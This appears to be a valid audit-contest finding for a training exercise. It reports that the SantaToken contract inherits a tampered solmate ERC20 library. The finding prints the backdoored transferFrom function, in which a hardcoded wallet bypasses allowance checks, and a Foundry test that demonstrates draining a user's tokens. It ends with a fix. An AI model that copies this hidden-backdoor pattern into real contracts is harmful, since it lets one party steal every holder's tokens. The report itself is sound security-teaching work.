Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Insecure ERC20 superclass allows for stealing all tokens

Summary

The SantaToken inherits from an insecure ERC20 token. This super class allows anyone who controls a specific wallet to steal all tokens from every user who owns them.

Vulnerability Details

The ERC20::transferFrom() function in @solmate/src/tokens/ERC20.sol has a conditional that does not perform additional validations and just transfers the amount of tokens specified from the given from to the provided to.

function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
// now it checks for allowances, etc.
return true;
}

To demonstrate this, add the following test case to the SantasListTest.t.sol:

function testThiefCanStealTokens() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santasList.collectPresent();
ERC20 token = ERC20(santasList.getSantaToken());
uint256 userBalance = token.balanceOf(user);
assertEq(1e18, userBalance);
address thief = address(0x815F577F1c1bcE213c012f166744937C889DAF17);
vm.startPrank(thief);
assertTrue(token.transferFrom(user, thief, userBalance));
assertEq(0, token.balanceOf(user));
assertEq(1e18, token.balanceOf(thief));
}

This scenario can be replicated for every user who holds SantaTokens, thereby accumulating all tokens.

Impact

This could cause the owner of 0x815F577F1c1bcE213c012f166744937C889DAF17 to steal all tokens from all users.

Tools Used

Manual Review and Foundry

Recommendations

The best option would be to use a better trusted source to inherit the SantaToken from like OpenZeppelin's ERC20.

-import {ERC20} from "@solmate/src/tokens/ERC20.sol";
+import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
- constructor(address santasList) ERC20("SantaToken", "SANTA", DECIMALS) {
+ constructor(address santasList) ERC20("SantaToken", "SANTA") {
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

unauthorized elf wallet approval in solmate-bad

Some sneaky elf has changed this library to a corrupted one where his wallet address skips all the approval checks for SantaToken! Shenanigans here - https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L88

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.